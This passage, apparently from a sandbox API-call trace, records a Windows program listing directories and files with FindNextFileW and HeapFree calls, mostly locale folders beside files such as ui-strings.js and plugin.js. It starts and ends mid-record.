ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0269.419] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.419] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0269.421] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.421] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0269.422] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.422] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-il", cAlternateFileName="")) returned 1 [0269.423] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.424] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0269.424] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.424] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu-es", cAlternateFileName="")) returned 1 [0269.425] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.425] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0269.426] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.426] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0269.428] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.428] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-ma", cAlternateFileName="")) returned 1 [0269.433] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.433] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-il", cAlternateFileName="")) returned 1 [0269.433] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.433] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr-hr", cAlternateFileName="")) returned 1 [0269.435] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.435] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-hu", cAlternateFileName="")) returned 1 [0269.436] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.436] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0269.437] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.437] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0269.440] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.440] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1074aa6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1074aa6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1074aa6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0269.441] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.441] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf102881d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf102881d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf102881d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1 [0269.443] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.443] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-nl", cAlternateFileName="")) returned 1 [0269.444] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.444] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1074aa6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1074aa6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1074aa6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-pl", cAlternateFileName="")) returned 1 [0269.445] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.445] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-br", cAlternateFileName="")) returned 1 [0269.447] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.447] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-ro", cAlternateFileName="")) returned 1 [0269.447] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.447] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0269.447] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.447] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0269.454] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.454] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0269.455] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.455] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0269.457] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.457] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0269.458] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.458] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0269.459] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.459] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1074aa6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf1074aa6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf1074aa6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0269.460] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.461] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0269.461] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.461] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf104e88e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf104e88e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf104e88e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0269.461] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.461] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e38798, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e38798, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e38798, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0269.462] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.462] FindNextFileW (in: hFindFile=0x64a398, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e38798, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e38798, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e38798, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0269.462] FindClose (in: hFindFile=0x64a398 | out: hFindFile=0x64a398) returned 1 [0269.462] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0269.462] FindNextFileW (in: hFindFile=0x64a0d8, lpFindFileData=0x3b2e1a4 | out: lpFindFileData=0x3b2e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf109acf7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf109acf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf109acf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d9a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0269.462] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0269.462] FindNextFileW (in: hFindFile=0x649fd8, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0e12717, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0e12717, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0e12717, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0269.462] FindClose (in: hFindFile=0x649fd8 | out: hFindFile=0x649fd8) returned 1 [0269.463] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0269.466] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-files-select", cAlternateFileName="MY-FIL~1")) returned 1 [0269.471] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0269.471] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0269.472] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0269.472] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecd7820, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecd7820, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecd7820, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0269.472] FindClose (in: hFindFile=0x6ebcb0 | out: hFindFile=0x6ebcb0) returned 1 [0269.472] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0269.472] FindNextFileW (in: hFindFile=0x6ebc30, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="my-recent-files", cAlternateFileName="MY-REC~2")) returned 1 [0269.474] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3fb5b00 | out: hHeap=0x630000) returned 1 [0269.474] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0269.610] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.610] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0269.809] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4031ef8 | out: hHeap=0x630000) returned 1 [0269.809] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2df28 | out: lpFindFileData=0x3b2df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeecfda79, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeecfda79, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeecfda79, 